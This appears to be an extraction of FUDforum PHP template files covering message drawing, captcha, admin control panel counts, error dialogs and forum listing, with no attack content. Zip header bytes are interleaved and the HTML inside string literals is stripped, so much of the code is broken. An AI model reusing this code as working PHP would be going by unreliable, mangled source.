    '.$dmsg_tags.' '.$buddy_link.$dmsg_im_row.(!$mini && $obj->host_name && $o1 & 268435456 ? 'From: '.$obj->host_name.'
    ' : '' ) .'
    '.$msg_body.' '.$file_attachments.' '.(($obj->sig && $o1 & 32768 && $obj->pmsg_opt & 1 && $b & 4096) ? '

    '.$obj->sig.'
    ' : '' ) .'
    '.$GLOBALS['dpmsg_prev_message'].' '.$GLOBALS['dpmsg_next_message'].'
    '; } ?> PKl0]e default/post_opt.incnu[HTML code is off'; $post_opt_fud = 'BBcode is off'; $post_opt_images = 'Images are off'; $post_opt_smilies = 'Smilies are off'; $edit_time_limit = ''; if (is_int($arg)) { if ($arg & 16) { $post_opt_fud = 'BBcode is on'; } else if (!($arg & 8)) { $post_opt_html = 'HTML is on'; } if ($perms & 16384) { $post_opt_smilies = 'Smilies are on'; } if ($perms & 32768) { $post_opt_images = 'Images are on'; } if ($GLOBALS['EDIT_TIME_LIMIT'] >= 0) { // Time limit enabled, $edit_time_limit = $GLOBALS['EDIT_TIME_LIMIT'] ? '
    Editing Time Limit: '.$GLOBALS['EDIT_TIME_LIMIT'].' minutes' : '
    Editing Time Limit: Unlimited'; } } else if ($arg == 'private') { $o =& $GLOBALS['FUD_OPT_1']; if ($o & 4096) { $post_opt_fud = 'BBcode is on'; } else if (!($o & 2048)) { $post_opt_html = 'HTML is on'; } if ($o & 16384) { $post_opt_images = 'Images are on'; } if ($o & 8192) { $post_opt_smilies = 'Smilies are on'; } } else if ($arg == 'sig') { $o =& $GLOBALS['FUD_OPT_1']; if ($o & 131072) { $post_opt_fud = 'BBcode is on'; } else if (!($o & 65536)) { $post_opt_html = 'HTML is on'; } if ($o & 524288) { $post_opt_images = 'Images are on'; } if ($o & 262144) { $post_opt_smilies = 'Smilies are on'; } } return 'Forum Options:
    '.$post_opt_html.'
    '.$post_opt_fud.'
    '.$post_opt_images.'
    '.$post_opt_smilies.$edit_time_limit.'
    '; } ?> PKl0]%idefault/admincp.incnu[users_opt & 524288 || $is_a) { // is_mod or admin. if ($is_a) { // Approval of custom Avatars. if ($FUD_OPT_1 & 32 && ($avatar_count = q_singleval('SELECT count(*) FROM fud30_users WHERE users_opt>=16777216 AND '. q_bitand('users_opt', 16777216) .' > 0'))) { $custom_avatar_queue = '| Custom Avatar Queue ('.$avatar_count.')'; } // All reported messages. if ($report_count = q_singleval('SELECT count(*) FROM fud30_msg_report')) { $reported_msgs = '| Reported Messages ('.$report_count.')'; } // All thread exchange requests. if ($thr_exchc = q_singleval('SELECT count(*) FROM fud30_thr_exchange')) { $thr_exch = '| Topic Exchange ('.$thr_exchc.')'; } // All account approvals. if ($FUD_OPT_2 & 1024 && ($accounts_pending_approval = q_singleval('SELECT count(*) FROM fud30_users WHERE users_opt>=2097152 AND '. q_bitand('users_opt', 2097152) .' > 0 AND id > 0'))) { $accounts_pending_approval = '| Accounts Pending Approval ('.$accounts_pending_approval.')'; } else { $accounts_pending_approval = ''; } $q_limit = ''; } else { // Messages reported in moderated forums. if ($report_count = q_singleval('SELECT count(*) FROM fud30_msg_report mr INNER JOIN fud30_msg m ON mr.msg_id=m.id INNER JOIN fud30_thread t ON m.thread_id=t.id INNER JOIN fud30_mod mm ON t.forum_id=mm.forum_id AND mm.user_id='. _uid)) { $reported_msgs = '| Reported Messages ('.$report_count.')'; } // Thread move requests in moderated forums. if ($thr_exchc = q_singleval('SELECT count(*) FROM fud30_thr_exchange te INNER JOIN fud30_mod m ON m.user_id='. _uid .' AND te.frm=m.forum_id')) { $thr_exch = '| Topic Exchange ('.$thr_exchc.')'; } $q_limit = ' INNER JOIN fud30_mod mm ON f.id=mm.forum_id AND mm.user_id='. _uid; } // Messages requiring approval. if ($approve_count = q_singleval('SELECT count(*) FROM fud30_msg m INNER JOIN fud30_thread t ON m.thread_id=t.id INNER JOIN fud30_forum f ON t.forum_id=f.id '. $q_limit .' WHERE m.apr=0 AND f.forum_opt>=2')) { $mod_que = 'Moderation Queue ('.$approve_count.')'; } } else if ($usr->users_opt & 268435456 && $FUD_OPT_2 & 1024 && ($accounts_pending_approval = q_singleval('SELECT count(*) FROM fud30_users WHERE users_opt>=2097152 AND '. q_bitand('users_opt', 2097152) .' > 0 AND id > 0'))) { $accounts_pending_approval = '| Accounts Pending Approval ('.$accounts_pending_approval.')'; } else { $accounts_pending_approval = ''; } if ($is_a || $usr->group_leader_list) { $group_mgr = '| Group Manager'; } if ($thr_exch || $accounts_pending_approval || $group_mgr || $reported_msgs || $custom_avatar_queue || $mod_que) { $admin_cp = '
    Admin: '.$mod_que.' '.$reported_msgs.' '.$thr_exch.' '.$custom_avatar_queue.' '.$group_mgr.' '.$accounts_pending_approval.'
    '; } } else { $admin_cp = ''; } ?> PKl0]qkkdefault/captcha.incnu['; $text .= ''; if (($GLOBALS['FUD_OPT_3'] & 33554432) && extension_loaded('gd') && function_exists('imagecreate') ) { // Graphical captcha. ses_putvar((int)$GLOBALS['usr']->sid, $captcha); return $text .'
    Captcha Verification: you will need to recognize the text in this image.'; } else { // Text based captcha. $bg_fill_chars = array(' ', '.', ',', '`', '_', '\''); $bg_fill = $bg_fill_chars[array_rand($bg_fill_chars)]; $fg_fill_chars = array('#', '@', '$', '*', 'X'); $fg_fill = $fg_fill_chars[array_rand($fg_fill_chars)]; $text .= '
    ';
    		// Generate turing text.
    		for ($i = 0; $i < 7; $i++) {
    			foreach ($rv as $v) {
    				$text .= str_replace('#', $fg_fill, str_replace('.', $bg_fill, $t[$i][$v]));
    			}
    			$text .= '
    '; } return $text .'
    '; } } /* Test if user entered a valid response to the CAPTCHA test. */ // function test_turing_answer($test, $res) function test_turing_answer() { if (defined('plugins')) { $ok = plugin_call_hook('CAPTCHA_VALIDATE'); if ($ok == 0) { return false; } elseif ($ok == 1) { return true; } } $test = $_POST['turing_test']; $res = $_POST['turing_res']; if (empty($test) || empty($res)) { return false; } if (md5(strtoupper(trim($test))) != $res) { return false; } else { return true; } } ?> PKl0]`rѐdefault/usercp.incnu[ You have ('.$c.') unread '.convertPlural($c, array('private message','private messages')).'' : '
  • Private Messaging
  • '; } else { $ucp_private_msg = ''; } ?>PKl0]pAaadefault/drawmsg.incnu[buddy_list) { $usr->buddy_list = unserialize($usr->buddy_list); } if ($usr->ignore_list) { $usr->ignore_list = unserialize($usr->ignore_list); if (isset($usr->ignore_list[1])) { $usr->ignore_list[0] =& $usr->ignore_list[1]; } } /* Handle temporarily un-hidden users. */ if (isset($_GET['reveal'])) { $_GET['reveal'] = htmlspecialchars((string)$_GET['reveal']); foreach(explode(':', $_GET['reveal']) as $v) { $v = (int) $v; if (isset($usr->ignore_list[$v])) { $usr->ignore_list[$v] = 0; } } if ($GLOBALS['FUD_OPT_2'] & 32768) { define('unignore_tmp', '/'. $_GET['reveal']); } else { define('unignore_tmp', '&reveal='. $_GET['reveal']); } } else { define('unignore_tmp', ''); } } else { define('unignore_tmp', ''); if (isset($_GET['reveal'])) { unset($_GET['reveal']); } } $_SERVER['QUERY_STRING_ENC'] = htmlspecialchars($_SERVER['QUERY_STRING']); function make_tmp_unignore_lnk($id) { if ($GLOBALS['FUD_OPT_2'] & 32768 && strpos($_SERVER['QUERY_STRING_ENC'], '?') === false) { $_SERVER['QUERY_STRING_ENC'] .= '?1=1'; } if (!isset($_GET['reveal'])) { return $_SERVER['QUERY_STRING_ENC'] .'&reveal='. $id; } else { return str_replace('&reveal='. $_GET['reveal'], unignore_tmp .':'. $id, $_SERVER['QUERY_STRING_ENC']); } } function make_reveal_link($id) { if ($GLOBALS['FUD_OPT_2'] & 32768 && strpos($_SERVER['QUERY_STRING_ENC'], '?') === false) { $_SERVER['QUERY_STRING_ENC'] .= '?1=1'; } if (empty($GLOBALS['__FMDSP__'])) { return $_SERVER['QUERY_STRING_ENC'] .'&rev='. $id; } else { return str_replace('&rev='. $_GET['rev'], reveal_lnk .':'. $id, $_SERVER['QUERY_STRING_ENC']); } } /* Draws a message, needs a message object, user object, permissions array, * flag indicating wether or not to show controls and a variable indicating * the number of the current message (needed for cross message pager) * last argument can be anything, allowing forms to specify various vars they * need to. */ function tmpl_drawmsg($obj, $usr, $perms, $hide_controls, &$m_num, $misc) { $o1 =& $GLOBALS['FUD_OPT_1']; $o2 =& $GLOBALS['FUD_OPT_2']; $a = (int) $obj->users_opt; $b =& $usr->users_opt; $MOD =& $GLOBALS['MOD']; $next_page = $next_message = $prev_message = ''; /* Draw next/prev message controls. */ if (!$hide_controls && $misc) { /* Tree view is a special condition, we only show 1 message per page. */ if ($_GET['t'] == 'tree' || $_GET['t'] == 'tree_msg') { $prev_message = $misc[0] ? 'Go to previous message' : ''; $next_message = $misc[1] ? 'Go to previous message' : ''; } else { /* Handle previous link. */ if (!$m_num && $obj->id > $obj->root_msg_id) { /* prev link on different page */ $prev_message = 'Go to previous message'; } else if ($m_num) { /* Inline link, same page. */ $prev_message = 'Go to previous message'; } /* Handle next link. */ if ($obj->id < $obj->last_post_id) { if ($m_num && !($misc[1] - $m_num - 1)) { /* next page link */ $next_message = 'Go to previous message'; $next_page = 'Next Page '; } else { $next_message = 'Go to next message'; } } } ++$m_num; } $user_login = $obj->user_id ? $obj->login : $GLOBALS['ANON_NICK']; /* Check if the message should be ignored and it is not temporarily revelead. */ if ($usr->ignore_list && !empty($usr->ignore_list[$obj->poster_id]) && !isset($GLOBALS['__FMDSP__'][$obj->id])) { return !$hide_controls ? '
    '.($obj->user_id ? 'Message by '.$obj->login.' is ignored' : ''.$GLOBALS['ANON_NICK'].' is ignored' ) .'  [reveal message]  [reveal all messages by '.$user_login.']  [stop ignoring this user] '.$prev_message.$next_message.'
    ' : ' Post by '.$user_login.' is ignored  '; } if ($obj->user_id && !$hide_controls) { $custom_tag = $obj->custom_status ? '
    '.$obj->custom_status.'' : ''; $c = (int) $obj->level_opt; if ($obj->avatar_loc && $a & 8388608 && $b & 8192 && $o1 & 28 && !($c & 2)) { if (!($c & 1)) { $level_name =& $obj->level_name; $level_image = $obj->level_img ? ' ' : ''; } else { $level_name = $level_image = ''; } } else { $level_image = $obj->level_img ? ' ' : ''; $obj->avatar_loc = ''; $level_name =& $obj->level_name; } $avatar = ($obj->avatar_loc || $level_image) ? ''.$obj->avatar_loc.$level_image.'' : ''; $dmsg_tags = ($custom_tag || $level_name) ? '
    '.$level_name.$custom_tag.'
    ' : ''; if (($o2 & 32 && !($a & 32768)) || $b & 1048576) { $online_indicator = (($obj->time_sec + $GLOBALS['LOGEDIN_TIMEOUT'] * 60) > __request_timestamp__) ? ''.$obj->login.' is currently online ' : ''.$obj->login.' is currently offline '; } else { $online_indicator = ''; } $user_link = ''.$user_login.''; $location = $obj->location ? '
    Location: '.(strlen($obj->location) > $GLOBALS['MAX_LOCATION_SHOW'] ? substr($obj->location, 0, $GLOBALS['MAX_LOCATION_SHOW']) . '...' : $obj->location).'' : ''; if (_uid && _uid != $obj->user_id) { $buddy_link = !isset($usr->buddy_list[$obj->user_id]) ? 'add to buddy list
    ' : 'remove from buddy list
    '; $ignore_link = !isset($usr->ignore_list[$obj->user_id]) ? 'ignore all messages by this user' : 'stop ignoring messages by this user'; $dmsg_bd_il = ''.$buddy_link.$ignore_link.'
    '; } else { $dmsg_bd_il = ''; } /* Show im buttons if need be. */ if ($b & 16384) { $im = ''; if ($obj->icq) { $im .= ''; } if ($obj->facebook) { $im .= ''; } if ($obj->yahoo) { $im .= ''; } if ($obj->jabber) { $im .= ''; } if ($obj->google) { $im .= ''; } if ($obj->skype) { $im .= ''; } if ($obj->twitter) { $im .= ''; } if ($im) { $dmsg_im_row = ''.$im.'
    '; } else { $dmsg_im_row = ''; } } else { $dmsg_im_row = ''; } } else { $user_link = $obj->user_id ? ''.$user_login.'' : ''.$user_login; $dmsg_tags = $dmsg_im_row = $dmsg_bd_il = $location = $online_indicator = $avatar = ''; } /* Display message body. * If we have message threshold & the entirity of the post has been revelead show a * preview otherwise if the message body exists show an actual body. * If there is no body show a 'no-body' message. */ if (!$hide_controls && $obj->message_threshold && $obj->length_preview && $obj->length > $obj->message_threshold && !isset($GLOBALS['__FMDSP__'][$obj->id])) { $msg_body = ''.read_msg_body($obj->offset_preview, $obj->length_preview, $obj->file_id_preview).' ...

    '; } else if ($obj->length) { $msg_body = ''.read_msg_body($obj->foff, $obj->length, $obj->file_id).''; } else { $msg_body = 'No Message Body'; } /* Draw file attachments if there are any. */ $drawmsg_file_attachments = ''; if ($obj->attach_cnt && !empty($obj->attach_cache)) { $atch = unserialize($obj->attach_cache); if (!empty($atch)) { foreach ($atch as $v) { $sz = $v[2] / 1024; $drawmsg_file_attachments .= '
  • Attachment: '.$v[1].'
    (Size: '.($sz < 1000 ? number_format($sz, 2).'KB' : number_format($sz/1024, 2).'MB').', Downloaded '.convertPlural($v[3], array(''.$v[3].' time',''.$v[3].' times')).')
  • '; } $drawmsg_file_attachments = '
      '.$drawmsg_file_attachments.'
    '; } /* Append session to getfile. */ if (_uid) { if ($o1 & 128 && !isset($_COOKIE[$GLOBALS['COOKIE_NAME']])) { $msg_body = str_replace('poll_cache) { $obj->poll_cache = unserialize($obj->poll_cache); } /* Handle poll votes. */ if (!empty($_POST['poll_opt']) && ($_POST['poll_opt'] = (int)$_POST['poll_opt']) && !($obj->thread_opt & 1) && $perms & 512) { if (register_vote($obj->poll_cache, $obj->poll_id, $_POST['poll_opt'], $obj->id)) { $obj->total_votes += 1; $obj->cant_vote = 1; } unset($_GET['poll_opt']); } /* Display poll if there is one. */ if ($obj->poll_id && $obj->poll_cache) { /* We need to determine if we allow the user to vote or see poll results. */ $show_res = 1; if (isset($_GET['pl_view']) && !isset($_POST['pl_view'])) { $_POST['pl_view'] = $_GET['pl_view']; } /* Various conditions that may prevent poll voting. */ if (!$hide_controls && !$obj->cant_vote && (!isset($_POST['pl_view']) || $_POST['pl_view'] != $obj->poll_id) && ($perms & 512 && (!($obj->thread_opt & 1) || $perms & 4096)) && (!$obj->expiry_date || ($obj->creation_date + $obj->expiry_date) > __request_timestamp__) && /* Check if the max # of poll votes was reached. */ (!$obj->max_votes || $obj->total_votes < $obj->max_votes) ) { $show_res = 0; } $i = 0; $poll_data = ''; foreach ($obj->poll_cache as $k => $v) { ++$i; if ($show_res) { $length = ($v[1] && $obj->total_votes) ? round($v[1] / $obj->total_votes * 100) : 0; $poll_data .= ' '.$i.'. '.$v[0].' '.$v[1].' / '.$length.'% '; } else { $poll_data .= ' '.$i.'. '; } } if (!$show_res) { $poll = '
    '._hs.' '.$poll_data.'
    '.$obj->poll_name.'[ '.$obj->total_votes.' '.convertPlural($obj->total_votes, array('vote','votes')).' ]
     '.($obj->total_votes ? '' : '' ) .'

    '; } else { $poll = '
    '.$poll_data.'
    '.$obj->poll_name.'[ '.$obj->total_votes.' '.convertPlural($obj->total_votes, array('vote','votes')).' ]

    '; } if (($p = strpos($msg_body, '{POLL}')) !== false) { $msg_body = substr_replace($msg_body, $poll, $p, 6); } else { $msg_body = $poll . $msg_body; } } /* Determine if the message was updated and if this needs to be shown. */ if ($obj->update_stamp) { if ($obj->updated_by != $obj->poster_id && $o1 & 67108864) { $modified_message = '

    [Updated on: '.print_date('%a, %d %B %Y %H:%M', $obj->update_stamp).'] by Moderator

    '; } else if ($obj->updated_by == $obj->poster_id && $o1 & 33554432) { $modified_message = '

    [Updated on: '.print_date('%a, %d %B %Y %H:%M', $obj->update_stamp).']

    '; } else { $modified_message = ''; } } else { $modified_message = ''; } if ($_GET['t'] != 'tree' && $_GET['t'] != 'msg') { $lnk = d_thread_view; } else { $lnk =& $_GET['t']; } $rpl = ''; if (!$hide_controls) { /* Show reply links, eg: [message #1 is a reply to message #2]. */ if ($o2 & 536870912) { if ($obj->reply_to && $obj->reply_to != $obj->id) { $rpl = '[message #'.$obj->id.' is a reply to message #'.$obj->reply_to.']'; } else { $rpl = '[message #'.$obj->id.']'; } } /* Little trick, this variable will only be available if we have a next link leading to another page. */ if (empty($next_page)) { $next_page = ' '; } // Edit button if editing is enabled, EDIT_TIME_LIMIT has not transpired, and there are no replies. if (_uid && ($perms & 16 || (_uid == $obj->poster_id && (!$GLOBALS['EDIT_TIME_LIMIT'] || __request_timestamp__ - $obj->post_stamp < $GLOBALS['EDIT_TIME_LIMIT'] * 60 ) && (($GLOBALS['FUD_OPT_3'] & 1024) || $obj->id == $obj->last_post_id)) ) ) { $edit_link = '    '; } else { $edit_link = ''; } if (!($obj->thread_opt & 1) || $perms & 4096) { $reply_link = ' '; $quote_link = ''; } else { $reply_link = $quote_link = ''; } } return ' '.(!$hide_controls ? '' : '' ) .'
    '.($obj->icon && !$hide_controls ? ''.$obj->icon.'  ' : '' ) .''.$obj->subject.' '.$rpl.' '.print_date('%a, %d %B %Y %H:%M', $obj->post_stamp).' '.$prev_message.$next_message.'
    '.$avatar.'
    '.$online_indicator.' '.$user_link.' '.(!$hide_controls ? ''.($obj->disp_flag_cc && $GLOBALS['FUD_OPT_3'] & 524288 ? '  '.$obj->flag_country.'' : '' ) .($obj->user_id ? '
    Messages: '.$obj->posted_msg_count.'
    Registered: '.print_date('%B %Y', $obj->join_date).' '.$location.'' : '' ) .'' : '' ) .' '.($GLOBALS['FUD_OPT_4'] & 4 && $obj->poster_id > 0 ? '
    '.($MOD ? '' : '' ) .' Karma: '.$obj->karma.' '.($MOD ? '' : '' ) .' ' : '' ) .'
    '.$dmsg_tags.' '.$dmsg_bd_il.$dmsg_im_row.(!$hide_controls ? ''.(($obj->host_name && $o1 & 268435456) ? 'From: '.$obj->host_name.'
    ' : '' ) .(($b & 1048576 || $usr->md || $o1 & 134217728) ? 'IP: '.$obj->ip_addr.'' : '' ) .'' : '' ) .'
    '.$msg_body.' '.$drawmsg_file_attachments.' '.(!$hide_controls ? ''.(($obj->sig && $o1 & 32768 && $obj->msg_opt & 1 && $b & 4096 && !($a & 67108864)) ? '

    '.$obj->sig.'
    ' : '' ) .'
    '.$modified_message.'

    Report message to a moderator

    ' : '' ) .'
    '; } ?> PKl0]oM55default/err.incnu[sid; } // Log the error. if (defined('fud_logging') || $level !== 'INFO') { // Build error string. $error_msg = '[Error] '. $title .'
    '; $error_msg .= '[Message to User] '. trim($msg) .'
    '; $error_msg .= '[User IP] '. get_ip() .'
    '; $error_msg .= '[Requested URL] http://'; $error_msg .= isset($_SERVER['HTTP_HOST']) ? htmlspecialchars($_SERVER['HTTP_HOST']) : ''; $error_msg .= isset($_SERVER['REQUEST_URI']) ? htmlspecialchars($_SERVER['REQUEST_URI']) : ''; // Mask out sensitive data. unset($_POST['password']); unset($_POST['quick_password']); $error_msg .= !empty($_POST) ? '
    [Post-Data] '. htmlspecialchars(serialize($_POST)) : ''; $error_msg .= '
    '; if (isset($_SERVER['HTTP_REFERER'])) { $error_msg .= '[Referring URL] '. htmlspecialchars($_SERVER['HTTP_REFERER']) .'
    '; } else if (isset($_SERVER['HTTP_USER_AGENT'])) { $error_msg .= '[User Agent] '. htmlspecialchars($_SERVER['HTTP_USER_AGENT']) .'
    '; } fud_logerror($error_msg, 'fud_errors'); } // No need to redirect, we just want to log the error. if ($level == 'LOG&RETURN') { return; } // Store persistently. ses_putvar($ses, array('er_msg' => $msg, 'err_t' => $title)); // Redirect to error template. if (is_int($ses)) { if ($GLOBALS['FUD_OPT_2'] & 32768) { header('Location: [[relativeurl]]/index.php/e/'. _rsidl); } else { header('Location: [[relativeurl]]/index.php?t=error&'. _rsidl); } } else { if ($GLOBALS['FUD_OPT_2'] & 32768) { header('Location: [[relativeurl]]/index.php/e/0/'. $ses); } else { header('Location: [[relativeurl]]/index.php?t=error&S='. $ses); } } exit; } /** Signal standard errors. */ function std_error($type) { if (!isset($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = 'unknown'; } $ses_id = s; $usr_d = new stdClass(); $usr_d->email = $GLOBALS['usr']->email; if ($type == 'login') { if (__fud_real_user__) { $type = 'perms'; } else { ses_anonuser_auth($GLOBALS['usr']->sid, '
    ERROR: You are not logged-inTo access this page you must be a member of this forum.

    '); } } $err_array = array( 'ERR_disabled'=>array('Disabled feature', 'This feature has been disabled by the system administrator.'), 'ERR_access'=>array('ERROR: Insufficient Permissions', 'You do not have the required permissions to perform this action.'), 'ERR_registration_disabled'=>array('Registration Disabled', 'The administrator has disabled registration. Please try again later.'), 'ERR_user'=>array('ERROR: No such user', 'There is no such user'), 'ERR_perms'=>array('Permission Denied!', 'Your user permissions do not allow you to perform the action you are attempting.'), 'ERR_systemerr'=>array('ERROR: System Error', 'A system error has occurred. Please report it to the webmaster.'), 'ERR_emailconf'=>array('ERROR: Your account is not yet confirmed', 'You have not confirmed your account via e-mail yet.
    1. If you have not received a confirmation e-mail, request it again.
    2. If '.$usr_d->email.' is not your correct e-mail address, specify the correct address.
    ') ); if (isset($err_array['ERR_'. $type])) { $err = $err_array['ERR_'. $type]; error_dialog($err[0], $err[1]); } error_dialog('Critical error', 'An error has occurred. Unfortunately, there is also a problem with the error reporting system.'); } /** Signal an invalid input error. */ function invl_inp_err() { error_dialog('Invalid Input', 'You have followed an invalid link. Please notify the webmaster how you got here.', 'INFO'); } ?> PKl0]:default/return.incnu[ PKl0]*%%default/draw_forum_list.incnu[cat_collapse_status ? unserialize($usr->cat_collapse_status) : array(); $cat_id = !empty($_GET['cat']) ? (int) $_GET['cat'] : 0; $frm_id = !empty($_GET['frm_id']) ? (int) $_GET['frm_id'] : 0; if ($cat_id && !empty($collapse[$cat_id])) { $collapse[$cat_id] = 0; } require $FORUM_SETTINGS_PATH .'idx.inc'; if (!isset($cidxc[$cat_id])) { $cat_id = 0; } $cbuf = $forum_list_table_data = $cat_path = ''; if ($cat_id) { $cid = $cat_id; while (($cid = $cidxc[$cid][4]) > 0) { $cat_path = ' » '.$cidxc[$cid][1].''. $cat_path; } $cat_path = '
    Home '.$cat_path.' » '.$cidxc[$cat_id][1].''; } /* List of fetched fields & their ids 0 msg.subject, 1 msg.id AS msg_id, 2 msg.post_stamp, 3 users.id AS user_id, 4 users.alias 5 forum.cat_id, 6 forum.forum_icon 7 forum.id 8 forum.last_post_id 9 forum.moderators 10 forum.name 11 forum.descr 12 forum.url_redirect 13 forum.post_count 14 forum.thread_count 15 forum_read.last_view 16 is_moderator 17 read perm 18 is the category using compact view */ $c = uq('SELECT m.subject, m.id, m.post_stamp, u.id, u.alias, f.cat_id, f.forum_icon, f.id, f.last_post_id, f.moderators, f.name, f.descr, f.url_redirect, f.post_count, f.thread_count, '. (_uid ? 'fr.last_view, mo.id, COALESCE(g2.group_cache_opt, g1.group_cache_opt) AS group_cache_opt' : '0,0,g1.group_cache_opt') .', c.cat_opt FROM fud30_fc_view v INNER JOIN fud30_cat c ON c.id=v.c INNER JOIN fud30_forum f ON f.id=v.f INNER JOIN fud30_group_cache g1 ON g1.user_id='. (_uid ? 2147483647 : 0) .' AND g1.resource_id=f.id LEFT JOIN fud30_msg m ON f.last_post_id=m.id LEFT JOIN fud30_users u ON u.id=m.poster_id '. (_uid ? ' LEFT JOIN fud30_forum_read fr ON fr.forum_id=f.id AND fr.user_id='. _uid .' LEFT JOIN fud30_mod mo ON mo.user_id='. _uid .' AND mo.forum_id=f.id LEFT JOIN fud30_group_cache g2 ON g2.user_id='. _uid .' AND g2.resource_id=f.id' : ''). ' WHERE f.parent = '. $frm_id . ((!$is_a || $cat_id) ? ' AND ' : '') . ($is_a ? '' : (_uid ? ' (mo.id IS NOT NULL OR ('. q_bitand('COALESCE(g2.group_cache_opt, g1.group_cache_opt)', 1) .' > 0))' : ' ('. q_bitand('g1.group_cache_opt', 1) .' > 0)')) . ($cat_id ? ($is_a ? '' : ' AND ') .' v.c IN('. implode(',', ($cf = $cidxc[$cat_id][5])) .') ' : '') .' ORDER BY v.id'); $post_count = $thread_count = $last_msg_id = $cat = 0; while ($r = db_rowarr($c)) { /* Increase thread & post count. */ $post_count += $r[13]; $thread_count += $r[14]; $cid = (int) $r[5]; if ($cat != $cid && !$frm_id) { if ($cbuf) { /* If previous category was using compact view, print forum row. */ if (empty($collapse[$i[4]])) { /* Only show if parent is not collapsed as well. */ $forum_list_table_data .= '     Available Forums:'.$cbuf.' '; } $cbuf = ''; } foreach ($cidxc as $k => $i) { /* 2nd check ensures that we don't end up displaying categories without any children. */ if (($cat_id && !isset($cf[$k])) || ($cid != $k && $i[4] >= $cidxc[$cid][4])) { continue; } /* If parent category is collapsed, hide child category. */ if ($i[4] && !empty($collapse[$i[4]])) { $collapse[$k] = 1; } if ($k == $cid) { break; // Got it! } } $cat = $cid; if ($i[3] & 1 && $k != $cat_id && !($i[3] & 4)) { if (!isset($collapse[$k])) { $collapse[$k] = !($i[3] & 2); } $forum_list_table_data .= ' '.$i[1].' '.$i[2].' '.(key($cidxc) ? '' : '' ) .' '.($cat ? '' : '' ) .' '; } else { if ($i[3] & 4) { ++$i[0]; } $forum_list_table_data .= ' '.$i[1].' '.$i[2].' '.(key($cidxc) ? '' : '' ) .' '.($cat ? '' : '' ) .' '; } } /* Compact category view (ignore when expanded). */ if ($r[18] & 4 && $cat_id != $cid) { $cbuf .= '  '.(_uid && $r[15] < $r[2] && $usr->last_read < $r[2] ? '**' : '' ) .' '.$r[10].''; continue; } /* Visible forum with no 'read' permission. */ if (!($r[17] & 2) && !$is_a && !$r[16]) { $forum_list_table_data .= ' '.$r[10].($r[11] ? '
    '.$r[11] : '').' '; continue; } /* Code to determine the last post id for 'latest' forum message. */ if ($r[8] > $last_msg_id) { $last_msg_id = $r[8]; } if (!_uid) { /* Anon user. */ $forum_read_indicator = 'Only registered forum members can track read & unread messages'; } else if ($r[15] < $r[2] && $usr->last_read < $r[2]) { $forum_read_indicator = 'New messages'; } else { $forum_read_indicator = 'No new messages'; } if ($r[9] && ($mods = unserialize($r[9]))) { $moderators = ''; // List of forum moderators. $modcount = 0; // Use singular or plural message form. foreach($mods as $k => $v) { $moderators .= ''.$v.'  '; $modcount++; } $moderators = '
    '.convertPlural($modcount, array('Moderator','Moderators')).': '.$moderators.'
    '; } else { $moderators = ' '; } $forum_list_table_data .= ' '.($r[6] ? 'Forum Icon' : ' ' ) .' '.(empty($r[12]) ? ''.$forum_read_indicator.'' : '' ) .' '.$r[10].''.($r[11] ? '
    '.$r[11] : '').$moderators.' '.(empty($r[12]) ? ''.$r[13].'' : '--' ) .' '.(empty($r[12]) ? ''.$r[14].'' : '--' ) .' '.(empty($r[12]) ? ''.($r[8] ? ''.print_date('%a, %d %B %Y', $r[2]).'
    By: '.($r[3] ? ''.$r[4].'' : ''.$GLOBALS['ANON_NICK'].'' ) .' '.$r[0].'' : 'n/a' ) .'' : '--' ) .' '; } unset($c); if ($cbuf) { /* If previous category was using compact view, print forum row. */ $forum_list_table_data .= '     Available Forums:'.$cbuf.' '; } ?> PKl0]zS,,default/get_cur_ppage.incnu['Inbox', 2=>'Saved', 4=>'Draft', 3=>'Sent', 5=>'Trash'); function tmpl_cur_ppage($folder_id, $folders, $msg_subject='') { if (!$folder_id || (!$msg_subject && $_GET['t'] == 'ppost')) { $user_action = 'Writing a Private Message'; } else { $user_action = $msg_subject ? ''.$folders[$folder_id].' » '.$msg_subject.'' : 'Browsing '.$folders[$folder_id].' folder'; } return 'Private Messaging » '.$user_action.'

    '; } ?>PKl0]T5vvdefault/thread_view_common.incnu[group_cache_opt & 2) && !$res->forum_id)) { return; } return 1; } /* Make sure that we have what appears to be a valid forum id. */ if (!isset($_GET['frm_id']) || (!($frm_id = (int)$_GET['frm_id']))) { invl_inp_err(); } if (!isset($_GET['start']) || ($start = (int)$_GET['start']) < 1) { $start = 0; } /* This query creates frm object that contains info about the current * forum, category & user's subscription status & permissions to the * forum. */ make_perms_query($fields, $join, $frm_id); $frm = db_sab(q_limit('SELECT f.id, f.name, f.thread_count, f.cat_id,'. (_uid ? ' fn.forum_id AS subscribed, m.forum_id AS md, ' : ' 0 AS subscribed, 0 AS md, '). 'a.ann_id AS is_ann, ms.post_stamp, '. $fields .' FROM fud30_forum f INNER JOIN fud30_cat c ON c.id=f.cat_id '. (_uid ? ' LEFT JOIN fud30_forum_notify fn ON fn.user_id='._uid.' AND fn.forum_id='. $frm_id .' LEFT JOIN fud30_mod m ON m.user_id='. _uid .' AND m.forum_id='. $frm_id : ' ') .$join.' LEFT JOIN fud30_ann_forums a ON a.forum_id='. $frm_id .' LEFT JOIN fud30_msg ms ON ms.id=f.last_post_id WHERE f.id='. $frm_id, 1)); if (!$frm) { invl_inp_err(); } $frm->forum_id = $frm->id; $MOD = ($is_a || $frm->md); $lwi = q_singleval(q_limit('SELECT seq FROM fud30_tv_'. $frm_id .' ORDER BY seq DESC', 1)); /* Check that the user has permissions to access this forum. */ if (!($frm->group_cache_opt & 2) && !$MOD) { if (!isset($_GET['logoff'])) { std_error('login'); } if ($FUD_OPT_2 & 32768) { header('Location: [[relativeurl]]/index.php/i/'. _rsidl); } else { header('Location: [[relativeurl]]/index.php?'. _rsidl); } exit; } if ($_GET['t'] == 'threadt') { $cur_frm_page = $start + 1; } else { $cur_frm_page = floor($start / $THREADS_PER_PAGE) + 1; } /* Do various things for registered users. */ if (_uid) { if (isset($_GET['sub']) && sq_check(0, $usr->sq)) { forum_notify_add(_uid, $frm->id); $frm->subscribed = 1; } else if (isset($_GET['unsub']) && sq_check(0, $usr->sq)) { forum_notify_del(_uid, $frm->id); $frm->subscribed = 0; } } else if (__fud_cache((int)$frm->post_stamp)) { return; } $ppg = $usr->posts_ppg ? $usr->posts_ppg : $POSTS_PER_PAGE; /* Handling of forum level announcements (should be merged with non-forum announcements in index.php.t). */ $announcements = ''; if ($frm->is_ann) { $today = gmdate('Ymd', __request_timestamp__); $res = uq('SELECT a.subject, a.text, a.ann_opt FROM fud30_announce a INNER JOIN fud30_ann_forums af ON 